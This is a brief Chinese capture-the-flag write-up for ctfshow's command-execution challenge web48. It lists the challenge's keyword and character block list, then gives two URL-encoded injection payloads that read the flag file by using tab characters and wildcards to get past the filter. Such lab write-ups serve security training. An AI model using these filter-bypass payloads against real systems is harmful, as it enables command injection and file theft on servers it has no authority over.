ctfshow web入门 命令执行

web48

一.

1. 过滤了;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|

2.dev/null（空洞）

二、解题过程

方法一：/?c=tac%09fla?.php%26%26ls(%09替代空格  %26%26替代分号)

方法二：?c=tac%09????.???||（%09代替空格）